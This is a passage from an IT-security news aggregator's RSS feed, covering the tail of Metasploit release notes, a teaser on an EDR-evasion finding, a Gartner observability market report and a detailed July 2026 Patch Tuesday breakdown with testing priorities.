<a href="https://github.com/bcoles">bcoles</a> - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21599">#21599</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21602">#21602</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates the Windows service PE template to use an injected segment instead of the old substitution method.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21621">#21621</a> from <a href="https://github.com/eipoverflow">eipoverflow</a> - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21670">#21670</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21675">#21675</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fix search_cache job cache generation by skipping multi arch payloads.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21677">#21677</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-07-08T13%3A32%3A18-07%3A00..2026-07-15T15%3A48%3A48-07%3A00%22">Pull Requests 6.4.143...6.4.144</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.143...6.4.144">Full diff 6.4.143...6.4.144</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bitdefender Uncovers Windows Bind Link Technique That Evades EDR Detection]]></title>
<description><![CDATA[  Researchers at Bitdefender have discovered a new technique for hiding malware from Endpoint Detection and Response (EDR) solutions by utilizing bind links, a valid Windows feature. Despite Microsoft’s classification of this issue as low severity due to the fact…
Read more →
The post Bitdefender...]]></description>
<link>https://tsecurity.de/de/3676668/it-security-nachrichten/bitdefender-uncovers-windows-bind-link-technique-that-evades-edr-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676668/it-security-nachrichten/bitdefender-uncovers-windows-bind-link-technique-that-evades-edr-detection/</guid>
<pubDate>Fri, 17 Jul 2026 19:25:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Researchers at Bitdefender have discovered a new technique for hiding malware from Endpoint Detection and Response (EDR) solutions by utilizing bind links, a valid Windows feature. Despite Microsoft’s classification of this issue as low severity due to the fact…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bitdefender-uncovers-windows-bind-link-technique-that-evades-edr-detection/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bitdefender-uncovers-windows-bind-link-technique-that-evades-edr-detection/">Bitdefender Uncovers Windows Bind Link Technique That Evades EDR Detection</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



